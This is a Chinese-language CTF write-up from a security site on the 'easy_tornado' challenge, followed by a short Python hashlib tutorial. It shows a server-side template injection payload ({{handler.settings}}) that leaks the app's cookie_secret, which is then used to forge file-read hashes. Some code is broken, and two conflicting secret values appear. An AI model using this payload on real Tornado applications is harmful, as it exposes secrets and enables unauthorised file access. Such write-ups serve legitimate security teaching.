标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2588]   作者: future 发表于: [2020-02-21]

本文共 [515] 位读者顶过

Tornado基于python的web框架

题目如下

[出自:jiwo.org]

http://111.198.29.45:33700/file?filename=/flag.txt&filehash=1c82038738fc522971262cb20b5ef64c


http://111.198.29.45:33700/file?filename=/welcome.txt&filehash=5e6e4331978821c7203abd04bf9b32dd


http://111.198.29.45:33700/file?filename=/hints.txt&filehash=c79aad2a796bd97ecf751b8082acc9bc


从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename)));  flag文件名题目已给出 /fllllllllllag
也就是说我们要向读取到文件,payload是这样的:
file?filename=/fllllllllllllag&filehash=**********************
******************的内容是md5(cookie_secret+md5(/fllllllllllllag))
题目在于如何获取cookie

题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入
(SSTI模板注入详解)
尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。
那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
传递error?msg={{ handler.settings }}得到:
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘93881405-8942-4355-9d77-09906cf0fcd6’}
这样就拿到cookie_secret了

http://111.198.29.45:33700/error?msg={{handler.settings%20}}

cookie_secret: 2f361172-b02e-4c90-9bf3-6cd49abbf367
/fllllllllllllag的MD5为 3bf9f6cf685a6dd8defadabfb41a03a1
本题坚定了我写代码的信心fuck 拿在线的MD5网站加密不同网站值还不一样怎么都不成功心态爆炸

代码如下 执行命令python3 chash.py chash为该程序名


python3之hashlib用法
简介:
用于加密有关的操作,主要有SHA1,SHA224,SHA256,SHA384,SHA512,MD5算法。在python3中已废弃了md5和sha模块。
应用
1.md5加密
1 import hashlib
2 p=hashlib.md5()
3 p.update('123456'.encode('utf-8'))
4 print(p.hexdigest())
输出结果是:e10adc3949ba59abbe56e057f20f883e
2.sha1加密
1 import hashlib
2 p=hashlib.sha1()
3 p.update('123456'.encode('utf-8'))
4 print(p.hexdigest())
输出结果是:7c4a8d09ca3762af61e59520943dc26494f8941b
3.以此类似进行sha256,sha384,sha512加密
虽然以上加密都已经不错,但仍有缺陷,通过撞库得以反解。所以必须对加密算法加盐处理
1 import hashlib
2 p = hashlib.md5('password'.encode('utf-8))
3 p.update('123456'.encode('utf-8')
4 print(p.hexdigest())
输出结果是:cb28e00ef51374b841fb5c189b2b91c9




评论

暂无
发表评论
 返回顶部 
热度(515)
 关注微信